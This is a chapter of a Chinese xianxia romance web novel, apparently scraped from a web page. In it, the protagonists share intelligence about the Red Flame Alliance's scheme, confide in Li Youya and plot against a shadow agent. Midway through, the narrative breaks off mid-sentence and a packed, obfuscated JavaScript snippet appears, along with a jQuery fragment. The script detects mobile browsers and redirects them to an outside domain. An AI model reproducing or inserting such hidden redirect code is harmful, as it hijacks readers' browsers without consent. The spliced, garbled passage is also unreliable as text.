55.第五十五章 怦然心动

作品:《烬墟灯

    回去的路上,二人一时无话。


    只是在靠近客栈的时候,荣青才问他:“关于赤焰盟和天海阁的事,你后面打算怎么办?”


    随潮生垂眸:“随江岚安排我收取一百颗妖丹,现在只余七颗了。他以我母亲性命威胁,若是不能集齐,只会用我母亲来祭鼎。”


    “还有这种事!”荣青义愤填膺道,“那他要妖丹做什么?”


    “炼制嗜魔丹。”


    “嗜魔丹?那是什么?听起来像是让人入魔一般的东西,肯定是害人的!”荣青皱起小脸,严肃且认真地猜测。


    随潮生摇头:“不清楚,赤焰盟的人和他似乎在密谋什么,或许就是你们之前猜测的,想要开启烬墟海的法阵。但是嗜魔丹在其中的作用,我并不知晓。”


    荣青从随潮生手心里抽出手来,站在人群涌动的街头,支起胳膊摩挲下巴。


    随潮生知道的情报大约只有这些了,但此刻他愿意和盘托出,对解决枫息树复苏一事,已然是柳暗花明。


    “那你的事要告诉李大哥他们吗?”荣青问,她语气有些小心翼翼,“我只是觉得,他们要是清楚了赤焰盟的密谋,或许可以多几分胜算。当然你若不愿,那我会为了你继续隐瞒下去的。”


    随潮生望向荣青,心头积压多年的阴霾惆怅已经消散,他觉得能得到她的认定,其他人对自己的看法是褒是贬,是坏是好,都已经不重要了。


    被人所坚定的选择,足以抵消这世间所有恶意的揣测。


    “说吧,连同生死蛊的事也一并告诉他们。”随潮生说。


    荣青惊讶地看着他,眼里带着些不可置信:“其实...也不勉强的。”


    随潮生低笑:“你还不明白吗,只要是你站在我这一侧,哪怕做什么说什么,我已经无怨无悔了。”


    荣青脑子里只觉得“轰”地一下,无数星子在她身体里炸开,滚烫的星火在血液里游走,连带着脸颊也热烈起来。


    她嘴里嗫嚅:“你...”


    什么意思?


    随潮生偏过头,耳尖泛起珊瑚色一般的红晕:“六月初七快到了吧,还有几日。”他生硬地岔开话题,“月归海的风俗,十八岁生辰那日要独自出海...”话音稍顿了顿,“我十八岁那年被困在天海阁,但你的生辰该有人作陪。”


    荣青怔住了。


    少年向来冷淡嘴硬的声线,头一回变得如此温柔。


    不知怎的,从她尾椎骨慢慢爬起毛绒绒的痒意,顺着脊梁骨一直蔓延到脑子里,嘴里的语气像是撒娇:“那你说话算数。”


    “嗯。”


    客栈门外排起蜿蜒长龙,荣青与随潮生对视一眼,便知定是李有崖又在摆摊算命。


    踏入大堂,见李有崖端坐在桌前,指节掐算间口若悬河,引得围观镇民连连称奇。


    这番热闹景象倒让客栈生意兴隆,老板娘在柜台后拨弄算盘的手指快得几乎要擦出火花,脸上掩不住的喜色比打磨得油光水滑的算珠还要亮堂几分。


    “你俩可算回来了!”老板娘见二人进门,忙不迭地迎上前来,“李道长真是神了,说咱们栖云镇时来运转呢!”


    李有崖听着响动,抬眼望见他们,当即收起架势,朝众人拱手致歉:“今日卦数已尽,诸位改日再续。”


    排队镇民虽未尽兴,却也都笑吟吟地散去,显然是先前算得满意。


    “你俩这是去哪玩了一圈?”李有崖意味深长地打量着他们,目光在二人之间来回游移。


    荣青被他看得耳根发热,正待解释,却见随潮生神色如常地站在原地,这才定了定神。


    她转而一脸严肃地看着李有崖:“李大哥,我们有话要跟你说。”随后看向客栈里坐着的几桌吃饭的客人,“这里说话不方便,咱们去后院。”


    日头渐渐西垂,院中小亭里,李有崖听完一切始末,面色几经变幻,先是困惑地拧起眉头,继而惊得瞪圆双眼,最后拍案而起恍然大悟。


    “还真是跌宕起伏,因果循环啊!”他捋着下巴望着院中一棵歪脖子柳树沉吟,“如此说来,蛊女现如今确实杀不得。但一直封在乾坤袋终非长久之计...”


    他边说着,又把眼神从柳树枝桠上转向荣青和随潮生,“看来得赶快回苗疆,再找依彩讨论个解法。”


    荣青紧张着脸追问道:“只是蛊女的事而已?”


    李有崖闻言开怀大笑,眼角笑纹舒展开来:“潮生本就是我历练世间才结识的小兄弟,至于其他...”他摆摆手,“人生在世,只求一个道法自然,这一路风风雨雨,咱们哪次不是同心协力闯过来的?今日亦然。”


    话音刚落,荣青侧眸一瞥,见随潮生神色恍惚,像似神游天外,她屈指轻拍他手背。


    随潮生这才回神,低低唤了声:“李大哥。”


    李有崖挠了挠有些松散的发髻,笑道:“既然栖云镇蛊女已除,明日便启程回翠英谷再前往苗寨吧。也不知依彩她们这几日如何了。”


    翠英谷内,一如往常的鸡鸣狗叫声环绕在旁,天上灼热的太阳终于舍得垂下它高昂的面容,换来夜晚的安宁。


    安吉阿妈独坐院中,夜色如墨浸染四野,她望着林间的方向,眉间聚起一团化不开的愁绪,院中没有点灯,她枯瘦的身影像是要与夜色融为一体。


    祝姝与依彩早早就去了苗寨,空落落一片的院子里,偶然有夜风拂过,卷起她半百的鬓发。


    有道黑影步履蹒跚又摇摇晃晃的从林中而来,一路踏过蜿蜒的梯田。


    他腰间别着一个酒壶,浑身沾满酒气,也不知是喝了多少酒,临近安吉所在的院落,他招起手来,嘴里像是说着醉话:“安吉,再给我打点酒来。”


    听见这句有些熟悉的叫喊声,安吉神色恍惚地抬起头来看过去。


    月光穿过云隙,斑驳地落在那人身上。


    他乱发如蓬草,白发间杂着几缕枯黄的树叶,额前垂下发丝遮挡的双眼看似浑浊如蒙尘,但若是仔细注视着一处地方,却清亮得很。


    长满山羊胡须的嘴角上似乎沾着酒渍,踉跄的步伐又走得极为矫健,腰间还挂着眼熟的葫芦酒壶,随着步伐一晃一晃。


    “是你?”安吉颤抖身子站起来,“十几年未见,你当真如约回来了。”


    月亮升起,栖云镇上的街道又传来打更人的叫喊声,梆子响起,已是戌时。


    李有崖吃过晚饭就回到屋里,说是一下午的算命,耗费他太多功力,得早早休息。


    荣青也回到屋里,在房中来回踱步许久,犹豫许久还是提着从老板娘那里要来的药箱,走到隔壁随潮生屋外,轻轻敲起门来。


    “门没关,进来吧。”里头声音传出来。


    荣青“咦”了一声,推开门走进来,放下药箱朝桌前端坐的随潮生问:“你怎么知道是我。”


    “脚步声。”随潮生平静地看着她。


    怎么可能不知道,从她在屋里来来回回走动,再到走


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731982|167028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    进自己房间,那一声一息都像踩在自己心间。


    荣青点头,随后对他说:“你的伤,再包扎一下吧。”


    随潮生眼神闪动,点头称好,随后慢吞吞地将上身衣服脱下。


    荣青眼神古怪地看着他,明明昨夜还只是脱下单侧衣袖,只露出半边胳膊和肩膀给李大哥包扎伤口,怎的这会就全把衣服脱了。


    可见到右肩那处伤口,以及先前妖蟒的咬伤结下的疤痕,她心思又转移到这上面,用手指轻轻碰了碰疤痕,说着:“疼不疼啊。”


    “不疼了。”随潮生轻声回答,又抬眼瞧身边站着的荣青,“小伤而已。”


    荣青睫毛颤了颤,这两处伤都是为了自己才受的。


    她捻起药瓶,将粉末仔细地撒在已经渗血的伤口上,又用布条轻轻地包扎起来。


    “好啦,只是这几日都不能沾水,最后也别像今日这般再拉扯到伤口了,若是许久不见好,当心伤口溃烂。”荣青边收拾药箱边说,又想起雾林里那个人,好奇地问,“林子里和你打架的那个人是谁?他怎么知道你在这?”


    随潮生穿好衣服,脸色凝重起来:“他名唤延凌,是随江岚身旁的影士,擅长鞭法和幻影术。你今日都在雾林里见识过了。”


    幻影术,难道就是化作青烟而已?荣青心想。


    随潮生看出她心中想法,随后解释道:“所谓幻影,实则可分为两类,一种是你今日所见,一种便是可化作物件的影子附在任何地方。”


    “还有这种术法?若是如此,那他岂不是可以藏匿于任何地方?”荣青眼珠子在屋里四处打转,心想这人该不会就躲藏于此。


    “放心,他不在这。”随潮生安抚道,又无意识蹙起眉心,“只不过...随江岚把他派到这里,应当不止是为了警示我,可能还有其他事吩咐他。”


    “其他事?”荣青坐下身来,支起脑袋思考着。


    回想起青城山里的事,他们一路从青城山赶到此处,花了不少功夫,算算时间,应该是赤焰盟的人为了收伏妖蟒,却不料被他们给截胡。


    联想到这里,她猜测多半是道观有人告知了他们的行程,但也怪不了道观里的道士师兄们。


    毕竟对于现在的世间来说,赤焰盟还是那个赫赫有名,要为天下苍生驱除妖魔的盟派,告知他们行踪这种事,想来也很稀疏平常罢了。


    随潮生见荣青眉头紧皱,倒了杯茶水递给她:“别急,慢慢想。”


    荣青十分顺手地接过来,一口而尽,鼓起嘴说:“怎么能不急。”说完又凝神细想,看向随潮生,“那个阎长老和随江岚之间关系如何?”


    “沆瀣一气却又暗生矛盾。”随潮生面上爬起讽色,嗤笑一声,“阎长老心思阴险,手段毒辣,随江岚看似温润实则,两人之间只不过是互相利用,并不会真心相待。”


    荣青点头了然,说出心里猜测:“所以...阎长老代表赤焰盟,随江岚则为天海阁,但阎长老手中所做之事,随江岚其实也不全知情,而随江岚要做的事,阎长老也未必可知。”


    她嘴里顿了顿又接着说:“要是能在苗疆,就把这两人之间表面的和气给戳破,那到时候你再回到天海阁救出你母亲,岂不是要顺利一半?”


    随潮生面上豁然开朗,又低声问:“你想怎么做?”


    荣青狡黠地一笑:“至少阎长老...他肯定不知情你的坏哥哥把身边的影士安排到了这里吧,不如就在这个影士身上下手咯。”